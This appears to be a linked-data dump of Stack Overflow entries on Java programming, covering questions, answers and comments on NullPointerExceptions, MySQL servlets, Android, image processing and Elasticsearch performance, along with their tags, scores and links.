type: UnansweredQuestion
tagged with: audio

http://stackoverflow.com/q/22286405
has title: NullPointerException, relatively easy
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/22286424
accepted answer: http://stackoverflow.com/a/22286424
score: 0
tagged with: nullpointerexception
possible better answer: http://stackoverflow.com/a/22286535
has body: Sorry to bother with a nullpointerexception question but this should be relatively easy and I don´t understand what´s causing it. Basically there is a database called "andmebaas.txt" where all the data is separated by "###" and it should separate the information and display the ones I have requested (m2ng[0].nimi and m2ng[10].nimi) import java.io.*; import java.util.*; public class kt_5_1 { public static void main(String[] args) throws FileNotFoundException { Scanner scanner1 = new Scanner(new File("andmebaas.txt")); Scanner scanner2 = new Scanner(new File("andmebaas.txt")); int n; for(n = 0; scanner1.hasNext(); n++) {scanner1.nextLine();} m2ngud m2ng[] = new m2ngud[n]; for (int c = 0; scanner2.hasNext(); c++) { String wholeLine = scanner2.nextLine(); String[] line = wholeLine.split("###"); m2ng[c].nimi = line[0]; //this is line 17. scanner2.nextLine(); } System.out.println(m2ng[0].nimi); System.out.println(m2ng[10].nimi); } } public class m2ngud { String nimi, kuup2ev, tootja, zanr, hinne; } the error: Exception in thread "main" java.lang.NullPointerException at kt_5_1.main(kt_5_1.java:17) Thanks for all your answers in advance!
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22286535
tagged with: java

http://stackoverflow.com/q/22320154
possible better answer: http://stackoverflow.com/a/22320444
has comment: http://stackoverflow.com/comment/33918989
type: AnsweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33941356
tagged with: mysql
has body: I am trying to get a value "startDate" and "endDate" from my form: &lt;form&gt; &lt;input id="startDate"/&gt; &lt;input id="endDate"/&gt; &lt;/form The form is connected to a javascript, which from there goes to a MySQL database. The problem is that every time I run SQL query in my servlet i get the following error: SQLException caught: Unknown column 'startDate' in 'where clause' Can anybody see what I am doing wrong? have a nice day from Julie EDITED CODE: I have tried to edited my code. I now get the error at: Date startDate; , where it says: "Duplicate local variable startDate". That is of course because I have String startDate = req.getParameter("startDate"); . I dont have to use this anymore? package WorkPackage; import java.io.*; import java.sql.*; import javax.servlet.*; import javax.servlet.annotation.WebServlet; import javax.servlet.http.*; @WebServlet("/getHoursSQL") public class getHoursSQL extends HttpServlet{ private static final long serialVersionUID = 1L; @Override protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } public void doPost(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException{ String connectionURL = "jdbc:mysql://localhost/NekiWork"; Connection connection=null; String startDate = req.getParameter("startDate"); String endDate= req.getParameter("endDate"); try { //Load database driver Class.forName("com.mysql.jdbc.Driver"); //Connection to the database connection = DriverManager.getConnection(connectionURL, "root", ""); //Getting the data from database Date startDate; String sql = "SELECT *, (Day_hours + (Day_minutes / 60)) AS Allday_hours FROM Workdata WHERE Date = ?"; PreparedStatement pst = connection.prepareStatement(sql); pst.setDate(1,startDate); //pst.setString(2,endDate); //Show the result from database ResultSet rs = pst.executeQuery(); float Allday_hours_sum = 0; while (rs.next()){ Allday_hours_sum += rs.g…
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33922380
has comment: http://stackoverflow.com/comment/33917830
upvote count: 0
has answer: http://stackoverflow.com/a/22320444
score: -1
has comment: http://stackoverflow.com/comment/33919135
tagged with: servlets
has comment: http://stackoverflow.com/comment/33941321
has comment: http://stackoverflow.com/comment/33917914
answer count: 3
accepted answer: http://stackoverflow.com/a/22320845
has title: Error in MySQL statement in WHERE clause
has comment: http://stackoverflow.com/comment/33919031
favorite count: 0
has comment: http://stackoverflow.com/comment/33918359
has answer: http://stackoverflow.com/a/22321227
has answer: http://stackoverflow.com/a/22320845
has comment: http://stackoverflow.com/comment/33917995

http://stackoverflow.com/q/22235691
tagged with: database
score: 0
has answer: http://stackoverflow.com/a/22235850
answer count: 1
has title: Exporting to CSV Error, missing cell on last Line
tagged with: postgresql
has comment: http://stackoverflow.com/comment/33765962
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/33765895
type: AnsweredQuestion
tagged with: java
has body: hi guys this is the error I'm getting Exception in thread "main" java.io.IOException: wrong number of values. Read 3, expected 4, read Token[EOF], line 28208 rows 1-28207 are correct, all 4 columns show up with correct data, however the final row has a missing value in cell D (where is should not have) This is my query. PreparedStatement statement = con .prepareStatement("SELECT b.id_history ,position ,id_winner, " + "amt_won " + "FROM first_game_results a, first_game_results_statistics b " + "WHERE a.id_history = b.id_history " + "AND amt_won &lt;&gt; 0.00 " + "AND id_winning &lt;&gt; 0 " + "AND id_player = 1"); and then for printing it into the CSV file i am using for (int i = 1; i &lt; columnCount + 1; i++) { String name = rsmd.getColumnName(i); out.print(name); if (i != columnCount + 1) { out.print(","); //System.out.print(i); i am pretty new to java, relatively speaking. any help would be greatly appreciated bugs
type: Question
has comment: http://stackoverflow.com/comment/33765970
accepted answer: http://stackoverflow.com/a/22235850

http://stackoverflow.com/a/22257375
answers question: http://stackoverflow.com/q/22257306
type: Answer
score: 2
upvote count: 2
has body: You've created an array of HashMaps: @SuppressWarnings("unchecked") static HashMap&lt;String, Integer&gt;[] count = new HashMap[50]; ... but the maps in that array are not initialized. Your array just contains 50 null references. You've to initialize them first with a map, before putting anything to it. if (count[stateNum] == null) { countNum[stateNum] = new HashMap&lt;String, Integer(); } count[stateNum].put(type,count[stateNum].get(type)+1); Also, I would suggest you to create a List&lt;Map&lt;String, Integer&gt;&gt;, instead of creating array of raw type. That is really not type-safe, as pointed out by the compiler. Also, the fact that you've to use String[][][], clearly show that you've perhaps not chosen the best data structure, that could have helped you. I would guess, you almost certainly need a separate class here.
downvote count: 0

http://stackoverflow.com/comment/33664505
score: 1
comment on: http://stackoverflow.com/q/22179437
has text: possible duplicate of [Why does this Java method appear to have two return types?](http://stackoverflow.com/questions/15281904/why-does-this-java-method-appear-to-have-two-return-types)
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22200665
tagged with: java
tagged with: squirrel-sql
accepted answer: http://stackoverflow.com/a/22572105
type: Question
upvote count: 12
score: 12
answer count: 1
downvote count: 0
has body: I have an idea for a plugin for SQuirreL SQL client and I'd like to know how to make a plugin. My plugin will be a query builder UI which needs access to the schema model including tables, columns, primary keys, foreign keys and constraints etc. I have searched the web for SQurreL plugin information / tutorials and I can't find much. The best I can find is on Wikipedia which is quite brief. http://squirrel-sql.sourceforge.net/index.php?page=plugins http://en.wikipedia.org/wiki/SQuirreL_SQL_Client_Plugin_API If you have any links, tutorials, examples or any other information on creating SQuirreL plugins, please post them here. Thanks
favorite count: 0
has answer: http://stackoverflow.com/a/22572105
has title: SQuirreL Plugin Tutorial
tagged with: jdbc
tagged with: plugins
type: AnsweredQuestion

http://stackoverflow.com/comment/33851411
type: AnswerComment
has text: Stop stealing my answers! :P +1
type: Comment
comment on: http://stackoverflow.com/a/22283022
score: 3

http://stackoverflow.com/q/22274475
tagged with: sqlite
answer count: 1
accepted answer: http://stackoverflow.com/a/22274915
tagged with: android
has title: How to get the list item name from a listview to a textview in another activity?
type: AnsweredQuestion
score: 0
type: Question
tagged with: java
has answer: http://stackoverflow.com/a/22274915
tagged with: database
tagged with: listview
has body: Im creating an app where users can enter the movies they own, to show in a listview, and for random picking a movie from that list. Now what my problem is, that when clicking on an item in the listview a new activity opens op where the item clicked is the title in a textview. So far i can get the movie from the list who is number 1 to show, but that shows it's title no matter which list item I click, how can i get the specific name depending on what item is clicked?? Thanks in advance. My Database class: package com.example; import android.content.ContentValues; import android.content.Context; import android.database.Cursor; import android.database.SQLException; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteOpenHelper; import android.util.Log; public class MovieDatabaseHelper { private static final String TAG = MovieDatabaseHelper.class.getSimpleName(); // database configuration // if you want the onUpgrade to run then change the database_version private static final int DATABASE_VERSION = 2; private static final String DATABASE_NAME = "mymoviedatabase.db"; // table configuration private static final String TABLE_NAME = "movie_table"; // Table name private static final String MOVIE_TABLE_COLUMN_ID = "_id"; // a column named "_id" is required for cursor private static final String MOVIE_TABLE_COLUMN_TITLE = "movie_title"; private static final String MOVIE_TABLE_COLUMN_YEAR = "production_year"; private DatabaseOpenHelper openHelper; private SQLiteDatabase database; // this is a wrapper class. that means, from outside world, anyone will communicate with MovieDatabaseHelper, // but under the hood actually DatabaseOpenHelper class will perform database CRUD operations public MovieDatabaseHelper(Context aContext) { openHelper = new DatabaseOpenHelper(aContext); database = openHelper.getWritableDatabase(); } public void insertData (String aMovieTitle, String aMovieYear) { // we are using ContentValues to avoid sql format errors Content…

http://stackoverflow.com/a/22231370
accepted answer of: http://stackoverflow.com/q/22230866
has comment: http://stackoverflow.com/comment/33758763
upvote count: 4
has comment: http://stackoverflow.com/comment/33759000
type: AcceptedAnswer
downvote count: 0
score: 4
answers question: http://stackoverflow.com/q/22230866
has body: It is not obvious what SpriteSheet#grabImage(...) does. But I'm pretty sure that there is some call to BufferedImage#getSubImage(...) involved. Is that right? If this is right, there are two potential issues here: When you are loading an image with ImageIO, the type of the resulting image is not known. By "type" I refer to the BufferedImage#getType(). This type may be BufferedImage.TYPE_CUSTOM, particularly when it is a PNG with transparency. When an image with this type is painted, then this painting is awfully slow, because there are some color conversions done internally. When you call BufferedImage#getSubImage(...), then the image on which you call this method will become "unmanaged". That means that the actual image data can no longer be held directly in video memory. (There are some very involved technical details behind that one. And these details may change between different JRE versions. For example, they changed between Java 6 and Java 7. However, the rule of thumb is: If you want to draw images with high performance, don't call BufferedImage#getSubImage(...) on the image that you want to paint) The solution for both issues can be to convert the images into managed images of the type BufferedImage.TYPE_INT_ARGB. So for each image that you want to paint, you can call BufferedImage toPaint = convertToARGB(originalImage); with this method: public static BufferedImage convertToARGB(BufferedImage image) { BufferedImage newImage = new BufferedImage( image.getWidth(), image.getHeight(), BufferedImage.TYPE_INT_ARGB); Graphics2D g = newImage.createGraphics(); g.drawImage(image, 0, 0, null); g.dispose(); return newImage; } In your example, you could apply this to your grass and tree images. Another (maybe even more important) issue is that you seem to be drawing your tiles scaled: You seem to paint a 64x64 pixels sprite with a size of 32x32. If this is correct, then you could consider rescaling the input image once, and then drawing the tiles with their original siz…
type: Answer
has comment: http://stackoverflow.com/comment/33758624
has comment: http://stackoverflow.com/comment/33758892

http://stackoverflow.com/comment/33953845
type: Comment
comment on: http://stackoverflow.com/a/22329088
has text: Thx. That means if I left nothing within the onLogout() method and the quickfixj will automatically try 5 times re-connection and then disconnect. If I explicitly logout like this: `Session session = Session.lookupSession(sessionId); if(session.isLoggedOn()){ session.logout("Received Logout Request from Counterparty!"); }` , it will force to disconnect with counterparty without any retry. Is that right?
type: AnswerComment
score: 0

http://stackoverflow.com/comment/51852461
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22274036
score: 3
has text: @JamesSmith: Because `char` is 2 bytes whereas an `int` is 4 bytes. This translates to a smaller memory footprint. [ref](https://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html)

http://stackoverflow.com/comment/33773723
has text: Setting a reference to null does not "mark" an object for GC. Rather, it removes that reference to the object such that, if there are no other references, the object will be eligible for collection.
type: Comment
comment on: http://stackoverflow.com/a/22239638
score: 0
type: AnswerComment

http://stackoverflow.com/comment/33704095
score: 0
type: AnswerComment
type: Comment
has text: Hello Stephen, thanks a lot for replying. I have posted part of err_pid file which i think caught some error track, but i couldn't understand what is the error from that file. I request you to please have a look into it. And please let me know if it is not sufficient or you need anything else. thank you.
comment on: http://stackoverflow.com/a/22172499

http://stackoverflow.com/q/22236665
possible better answer: http://stackoverflow.com/a/22236994
accepted answer: http://stackoverflow.com/a/22236880
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/22236994
tagged with: javascript
has body: I am using the following code view.loadUrl("javascript:var con = document.getElementsByTagName('img'); for (var i = 0; i &lt; con.length; ++i)con[i].style.maxWidth='100%'; "); If I target API 18 it works fine however if I target the newest version of Android, API 19, it clears out the entire website I am trying to load and replaces it with text saying "100%". Why does Kit Kat do this?
tagged with: android
has answer: http://stackoverflow.com/a/22236880
tagged with: webview
type: AnsweredQuestion
tagged with: java
has title: JavaScript CSS overide not working when targeting Android API 19
type: Question

http://stackoverflow.com/a/23409064
upvote count: 1
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/22324992
has body: Vert.x has worker verticles to perform tasks like this. Basically you can initialize a worker verticle which will perform the blocking task and then return the results to the verticle which needs it. I wont write any code here since im a beginner myself with Vert.X

http://stackoverflow.com/q/22206826
favorite count: 0
has comment: http://stackoverflow.com/comment/33713752
has comment: http://stackoverflow.com/comment/33713692
type: UnansweredQuestion
tagged with: java
has comment: http://stackoverflow.com/comment/33713696
type: Question
duplicate of: http://stackoverflow.com/q/2201113
has title: Choose function in Java math?
tagged with: math
tagged with: theory
has body: Sorry about the ambiguous title, I basically need to know how to use the choose function in java, to work out the chance of something happening, for example say I wanted to work out my chance of winning the lottery, on a calculator I'd do: QUANTITY_OF_LOTTERY_NUMBERS CHOOSE 6 and that would return the chance of those six numbers appearing at random. I believe it's called the binomial theorem, but I dropped out of college before I could learn anything else about it :P Anyway, if you do 49 choose 6 on Google for example, you'll see the function I'm trying to use Question: How do I implement this function in Java code?
score: 0
has answer: http://stackoverflow.com/a/22206877
upvote count: 1
answer count: 1
downvote count: 1
linked to: http://stackoverflow.com/q/2201113
has comment: http://stackoverflow.com/comment/33713676

http://stackoverflow.com/q/22258646
has body: I have a program which is being distributed to companies where java is either not allowed on their computers or not allowed to be updated for various security reasons. It is a java jar as it stands, a simple survey-type desktop program using swing. My question is, how can I distribute this program to the various end users when they aren't allowed to install anything on their systems, including java? They will be running the program from a flash drive, so it has to just run from there with no installation or copying to the disk or anything like that, and no guarantee that java will be installed. All of the target users are on windows, at least, so an exe is an option. EDIT: Based on what Rob has said, does anyone know if distributing a private JRE is possible? Bundling a JRE which is preinstalled on the flash drive, and then pointing the jar to that?
has comment: http://stackoverflow.com/comment/33821490
has comment: http://stackoverflow.com/comment/33811705
tagged with: deployment
downvote count: 0
has comment: http://stackoverflow.com/comment/33831981
type: UnansweredQuestion
tagged with: swing
type: Question
linked to: http://stackoverflow.com/q/12976767
score: 1
tagged with: java
has title: What is the preferred way to deploy a jar to people who don't have java?
upvote count: 1
has answer: http://stackoverflow.com/a/22258734
answer count: 1
has comment: http://stackoverflow.com/comment/33808097
has comment: http://stackoverflow.com/comment/33808209
linked to: http://stackoverflow.com/q/22263940
favorite count: 0

http://stackoverflow.com/a/22252777
has comment: http://stackoverflow.com/comment/33797065
answers question: http://stackoverflow.com/q/22252038
has body: You just remove this line from your XML file and you need not to finish your activity in the Intent Calling... android:onClick="sendMessage" read1.setOnClickListener (new OnClickListener(){ @Override public void onClick (View v){ Intent intent = new Intent (CList.this,Fibonacci.class); startActivity (intent); } });
score: 0
type: Answer

http://stackoverflow.com/comment/33831026
type: Comment
has text: I archived the class file into a jar file and imported it. But still I am facing the same problem
comment on: http://stackoverflow.com/a/22271672
score: 1
type: AnswerComment

http://stackoverflow.com/comment/33922376
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22322852
has text: `&lt;` and `&amp;` may be the issue.
score: 0

http://stackoverflow.com/a/22174272
answers question: http://stackoverflow.com/q/22174047
downvote count: 0
score: 1
upvote count: 1
type: Answer
has body: You should use containsAll() method: List a = Arrays.asList("boy", "girl", "kid"); List b = Arrays.asList("girl", "kid", "boy", "girl"); List c = Arrays.asList("woman", "boy", "girl", "kid"); System.out.println(a.containsAll(b)); // true System.out.println(a.containsAll(c)); // false System.out.println(b.containsAll(c)); // false

http://stackoverflow.com/a/22279749
has body: If the file is not exist you can create a new file like: if(!file.exists()) { try { file.createNewFile(); System.out.println("Created a new File"); } catch (IOException e) { e.printStackTrace(); } }
type: Answer
answers question: http://stackoverflow.com/q/22279730
upvote count: 1
score: 1
downvote count: 0

http://stackoverflow.com/q/22328116
tagged with: spring
score: 0
tagged with: java
tagged with: hibernate
type: Question
has title: embedded database hsqldb hibernate persistance
has comment: http://stackoverflow.com/comment/33933532
has body: im trying to persist a blob of size 27Kb to an embedded database (for test purposes) but hibernate is creating the blob field with limit of 255 (e.g. creation sql contains "blob (255)"). Can this be rectified? Can the default blob size be changed. I have found a solution with annotations @Column(length=1000000000000000) ... but this is not ideal as file limit must be very large. I am currently using the spring jdbc embedded database &lt;jdbc:embedded-database id="datasource" type="HSQL"&gt; ...scripts... &lt;/jdbc:embedded-database&gt; The default size must be configurable...no?
tagged with: hsqldb
has comment: http://stackoverflow.com/comment/33962997
has comment: http://stackoverflow.com/comment/33931823
answer count: 0
type: UnansweredQuestion

http://stackoverflow.com/a/22281893
has comment: http://stackoverflow.com/comment/33849575
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/22281820
downvote count: 0
has comment: http://stackoverflow.com/comment/33849524
has body: You have a syntax error on table name. Table names should not be a literal but should be quoted with back ticks. These back ticks are optional unless table name has any special chars in it or if it is a reserved word. Just because of this error, the statement return statement.executeQuery(query); is causing an Exception and the method was returning a null for ResultSet. You better catch the exception and see what the stacktrace says on it. Change: QLManager.runQuery("select * from \'accounts\'"); To: QLManager.runQuery("select * from `accounts`");
type: Answer

http://stackoverflow.com/comment/33809304
comment on: http://stackoverflow.com/q/22259588
has text: [Wolfram Alpha gives the exact result as 2.243754834308400900535121747859167616725725368773485418854923...](https://www.wolframalpha.com/input/?i=106951484895+%2F+47666297253) Your figure is accurate to all of the displayed digits. Do you need more precision?
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/comment/33888591
type: Comment
type: QuestionComment
has text: You could try [this plugin, windowbuilder for eclipse](https://www.eclipse.org/windowbuilder/)
score: 0
comment on: http://stackoverflow.com/q/22303640

http://stackoverflow.com/comment/33779299
comment on: http://stackoverflow.com/a/22242829
has text: i have mentioned the one which you have pasted. what error r u getting and difficulty you have faced?
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/22193490
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33689546
tagged with: java
has comment: http://stackoverflow.com/comment/33689404
has title: Pass an object of another class to a singleton class
has comment: http://stackoverflow.com/comment/33689549
type: Question
has body: I am using this singleton class in Java and in one method, I need an object of a class which gets instantiated in Main. I am not knowing how to pass that object to this method because this code is written in the constructor of the singleton class as I need it to be executed as soon as the program starts. Should I take out the code from the constructor and make it a standalone method which I call from Main (though I wouldn't prefer this) or is there another way? Any ideas? Code: Main: public static void main(String[] args) { X x; // This is the object I need to pass to the singleton class } Singleton class: public SomeSingletonClass { private Queue&lt;Y&gt; someQueue; // Y is another class I have in my project private SomeSingletonClass(){ someQueue.add(new Y(&lt;some data&gt;, &lt;some data&gt;, &lt;here I need an object of X as the constructor needs it&gt;); } } I haven't added the entire code. Just a fragment where I am stuck.
has comment: http://stackoverflow.com/comment/33689506
has answer: http://stackoverflow.com/a/22194390
accepted answer: http://stackoverflow.com/a/22194390
score: 0
has comment: http://stackoverflow.com/comment/33689478
tagged with: singleton
answer count: 1
linked to: http://stackoverflow.com/q/1050991
has comment: http://stackoverflow.com/comment/33689359

http://stackoverflow.com/comment/44812372
has text: @greg-449 Yes, I read that in the documentation, but I haven't found yet which command represents F3. Do you know a plugin that has a command for F3 I can look at as an example? I know the JDT isn't supposed to be representative
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22221381

http://stackoverflow.com/q/22237432
has body: I have created a graph in a Java applet and I'm trying to get the g.fillRect to auto adjust with the screen. I want the first bar to be a third of the screen and then to halve in size for each other bar. g.fillRect(xpos, 550, width, hight); I seem to have a problem with getting a gap in between each bar. Could you give me a hand with this problem? Thanks in advance.
tagged with: autosize
has comment: http://stackoverflow.com/comment/33769645
accepted answer: http://stackoverflow.com/a/22238136
type: AnsweredQuestion
tagged with: java
type: Question
tagged with: graph
has answer: http://stackoverflow.com/a/22238136
score: 0
has title: Getting a graph to auto adjust with the screen
answer count: 1
tagged with: applet
has comment: http://stackoverflow.com/comment/33769789

http://stackoverflow.com/a/22223899
accepted answer of: http://stackoverflow.com/q/22223673
downvote count: 0
answers question: http://stackoverflow.com/q/22223673
has body: Putting an entry for an existing key is not considered a structural modification in the current implementation of HashMapand will never trigger a ConcurrentModificationException. Try putting with a new key, e.g. table1.put(4, "UPS"); to get a ConcurrentModificationException.
type: AcceptedAnswer
type: Answer
score: 3
upvote count: 3

http://stackoverflow.com/a/38898000
upvote count: 2
downvote count: 0
has body: The web application [/services] appears to have started a thread named [net.sf.ehcache.CacheManager@37ce6a10] but has failed to stop it. This is very likely to create a memory leak. The solution, in our groovy based spring web app that uses annotation based configuration, was to register the net.sf.ehcache.constructs.web.ShutdownListener class with the context in our class that extends WebApplicationInitializer via an overridden onStartup() method, something like this: import net.sf.ehcache.constructs.web.ShutdownListener import org.springframework.web.WebApplicationInitializer ... public class CustomWebApplicationInitializer implements WebApplicationInitializer { ... @Override public void onStartup(ServletContext servletContext) throws ServletException { ... createContext(...) ... } private AnnotationConfigWebApplicationContext createContext(final Class... annotatedClasses) { AnnotationConfigWebApplicationContext context = new AnnotationConfigWebApplicationContext() context.register(annotatedClasses) context.register(ShutdownListener) return context } }
type: Answer
score: 2
answers question: http://stackoverflow.com/q/22286181

http://stackoverflow.com/a/22258914
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22253167
has comment: http://stackoverflow.com/comment/33808162
type: Answer
has comment: http://stackoverflow.com/comment/33808884
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33808357
has body: As I said on IRC. It won't work. There are 2 dependencies in Apktool that won't work on Android. Yaml and some java 7 code. Thats why it works fine on Java, but not in Android environment. Bug for java7 code, and the bug for Yaml. Yaml is only used for parsing out the apktool.yml file, which is needed for recompile. Java 7 features were introduced for SmaliDebugging and NIO2 aids. If neither are needed, you could recompile the apktool binary without those two. (Of course then missing those features)
answers question: http://stackoverflow.com/q/22253167
upvote count: 1

http://stackoverflow.com/comment/33913594
comment on: http://stackoverflow.com/q/22317440
type: Comment
type: QuestionComment
has text: Ah too much into issue, edited it now. The thread computation is blocking the UI, and making the app really slow
score: 0

http://stackoverflow.com/a/22311254
has comment: http://stackoverflow.com/comment/48380680
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33946607
upvote count: 1
has body: The quickest option is to modify your application to run as an applet (yes, this would involve making a JApplet from your JFrame). However, you should realize that the Java Applet is considered an outdated technology. Most mobile devices won't run them and even some popular desktop browsers won't (Mac Chrome). What's more, Oracle now requires all applets to be signed in order to run with default security settings. This means purchasing a yearly (~$200) signing certificate. Java Web Start is not really fundamentally different from applets and will suffer the same issues as above. Think again about your choice of technology. A Java web application (e.g., Spring MVC) or a JavaScript application (e.g., GWT, JQuery) are better choices.
has comment: http://stackoverflow.com/comment/33930933
has comment: http://stackoverflow.com/comment/33946466
type: Answer
answers question: http://stackoverflow.com/q/22305095
has comment: http://stackoverflow.com/comment/33923682

http://stackoverflow.com/comment/33857728
type: QuestionComment
has text: Can you show the code for the Receiver class?
comment on: http://stackoverflow.com/q/22286218
score: 0
type: Comment

http://stackoverflow.com/comment/33957534
type: Comment
comment on: http://stackoverflow.com/a/22329177
has text: first: If you say that 'when employee.getMobiles() is called, Hibernate will issue a select query to the latter table using a where clause with the primary key of the former table'. How Hibernate is issuing the select query as I am not using hibernate specific API call which will tell hibernate to issue one more sql query. Second: So If I just call 'employee.getMobiles()' and don't iterate over the Set<Mobile> mobileSet and return the List<Employee> list from the above method: getAllEmployees(), Then Outside this method Will I able to retrieve the child records,mobileNumbers for each Employee?
type: AnswerComment
score: 0

http://stackoverflow.com/q/22286290
type: Question
downvote count: 0
has comment: http://stackoverflow.com/comment/33858977
has answer: http://stackoverflow.com/a/22287189
answer count: 2
has comment: http://stackoverflow.com/comment/33858517
tagged with: android
has answer: http://stackoverflow.com/a/22286645
has comment: http://stackoverflow.com/comment/33858563
tagged with: opengl-es
favorite count: 0
has comment: http://stackoverflow.com/comment/33858257
possible better answer: http://stackoverflow.com/a/22286645
has title: android opengl es 1.1 - drawing glitch on certain devices - screenshots inside
has comment: http://stackoverflow.com/comment/33858887
has comment: http://stackoverflow.com/comment/33858469
accepted answer: http://stackoverflow.com/a/22287189
has comment: http://stackoverflow.com/comment/33858477
has comment: http://stackoverflow.com/comment/33858589
type: AnsweredQuestion
score: 1
tagged with: java
has comment: http://stackoverflow.com/comment/33858321
has comment: http://stackoverflow.com/comment/33859336
has body: The top image is the undesired result (it also seems to flicker). The bottom image is what I would like the render to look like on ALL devices. Hello, I seem to be having problems with rendering a textured square to my galaxy s4, but not on my my gt p3113 tablet... Here is the code from my GLRenderer: @Override public void onDrawFrame(GL10 gl) { manObjects.draw(gl, 0, 0); } @Override public void onSurfaceChanged(GL10 gl, int width, int height) { if (height == 0) { // Prevent A Divide By Zero By height = 1; // Making Height Equal One } gl.glViewport(0, 0, width, height); // Reset The Current Viewport gl.glMatrixMode(GL10.GL_PROJECTION); // Select The Projection Matrix gl.glLoadIdentity(); // Reset The Projection Matrix // respect the height:width ratio of the window. GLU.gluOrtho2D(gl, -1f, 1f, 1.6f, -1.6f); gl.glMatrixMode(GL10.GL_MODELVIEW); // Select The Modelview Matrix gl.glLoadIdentity(); // Reset The Modelview Matrix } @Override public void onSurfaceCreated(GL10 gl, EGLConfig config) { // Settings gl.glEnable(GL10.GL_TEXTURE_2D); // Enable Texture Mapping gl.glShadeModel(GL10.GL_SMOOTH); // Enable Smooth Shading gl.glClearColor(0.0f, 0.0f, 0.0f, 0.5f); // Black Background gl.glClearDepthf(1.0f); // Depth Buffer Setup // Really Nice Perspective Calculations gl.glHint(GL10.GL_PERSPECTIVE_CORRECTION_HINT, GL10.GL_NICEST); gl.glEnable(GL10.GL_BLEND); // Enable blending gl.glDisable(GL10.GL_DEPTH_TEST); // Disable depth test gl.glBlendFunc(GL10.GL_SRC_ALPHA, GL10.GL_ONE_MINUS_SRC_ALPHA); // Load textures manObjects.load(gl, mContext); } Anyone have any ideas as to why this is happening? And more specifically why it works on one device and not on the other? Draw code: public void draw(GL10 gl, float x, float y) { gl.glLoadIdentity(); gl.glBindTexture(GL10.GL_TEXTURE_2D, texPointers[0]); tSquare[0].draw(gl); } public void drawBLACK(GL10 gl) { gl.glLoadIdentity(); gl.glBindTexture(GL10.GL_TEXTURE_2D, 0); gl.glScalef(1f, 1.6f, 1); gl.glColor4f(0, 0, 0, 1); tSquare[0].d…
upvote count: 1
has comment: http://stackoverflow.com/comment/33859256

http://stackoverflow.com/q/22223705
score: 4
has body: I'm trying to improve query performance. It takes an average of about 3 seconds for simple queries which don't even touch a nested document, and it's sometimes longer. curl "http://searchbox:9200/global/user/_search?n=0&amp;sort=influence:asc&amp;q=user.name:Bill%20Smith" Even without the sort it takes seconds. Here are the details of the cluster: 1.4TB index size. 210m documents that aren't nested (About 10kb each) 500m documents in total. (nested documents are small: 2-5 fields). About 128 segments per node. 3 nodes, m2.4xlarge (-Xmx set to 40g, machine memory is 60g) 3 shards. Index is on amazon EBS volumes. Replication 0 (have tried replication 2 with only little improvement) I don't see any noticeable spikes in CPU/memory etc. Any ideas how this could be improved?
tagged with: lucene
upvote count: 4
answer count: 2
downvote count: 0
favorite count: 0
has title: Elasticsearch improve query performance
type: UnansweredQuestion
tagged with: elasticsearch
tagged with: java
has answer: http://stackoverflow.com/a/22224568
type: Question
has answer: http://stackoverflow.com/a/22230016

http://stackoverflow.com/comment/40598033
type: Comment
comment on: http://stackoverflow.com/q/22312332
has text: It also doesn't like spaces in your account name, mind you
score: 0
type: QuestionComment

http://stackoverflow.com/q/22291141
type: Question
has title: Issue related to implementing Inverse DCT on Images
has body: I am trying to implement DCT on images as a part of understanding the whole JPEG compression pipeline (In Java). I can successfully implement the forward DCT. However, I am facing issues in the inverse DCT. Any help will be highly appreciated. public BufferedImage Inverse_DCT (BufferedImage img) { int width = img.getWidth(); int height = img.getHeight(); BufferedImage OutputImage = new BufferedImage(width,height,BufferedImage.TYPE_INT_RGB); // ------------------- IDCT Implementation ------------------------------ double [][]Cos_Basis = new double [8][8]; // 8X8 Cosine Basis Implementation double [] CoEff = new double [8]; // ------------------ Pre Compute The Kernel --------------------------- for (int i=0;i&lt;8;i++) { for (int j=0;j&lt;8;j++) { Cos_Basis[i][j] = Math.cos((2*i+1)*j*3.14159f/16.0f); // COSINE KERNEL } if (i==0) CoEff[i]=1/(Math.sqrt(2)); else CoEff[i]=1; } // -------------------- IDCT Code -------------------------------------- for (int row=0;row&lt;(height/8);row++) { for (int col=0;col&lt;(width/8);col++) { for (int i=0;i&lt;8;i++) // Block Row { for (int j=0;j&lt;8;j++) // Block Col { double sumR = 0;double sumG = 0;double sumB = 0; for (int x=0;x&lt;8;x++) { for (int y=0;y&lt;8;y++) { sumR += (CoEff[x])*(CoEff[y])*((((img.getRGB((col*8+y),(row*8+x))&gt;&gt;16) &amp; 0xFF))*(Cos_Basis[i][x])*(Cos_Basis[j][y])); sumG += (CoEff[x])*(CoEff[y])*((((img.getRGB((col*8+y),(row*8+x))&gt;&gt;8) &amp; 0xFF))*(Cos_Basis[i][x])*(Cos_Basis[j][y])); sumB += (CoEff[x])*(CoEff[y])*((((img.getRGB((col*8+y),(row*8+x))&gt;&gt;0) &amp; 0xFF))*(Cos_Basis[i][x])*(Cos_Basis[j][y])); } } sumR *= 0.25f; sumR += 128; sumG *= 0.25f; sumG += 128; sumB *= 0.25f; sumB += 128; if (sumR&lt;0) sumR=0; if (sumG&lt;0) sumG=0;if (sumB&lt;0) sumB=0; if (sumR&gt;255) sumR=255; if (sumG&gt;255) sumG=255;if (sumB&gt;255) sumB=255; //System.out.println("SumR : "+sumR+" SumG:"+sumG+" SumB:"+sumB); // Assign Output Image int pix = 0x00000000 | 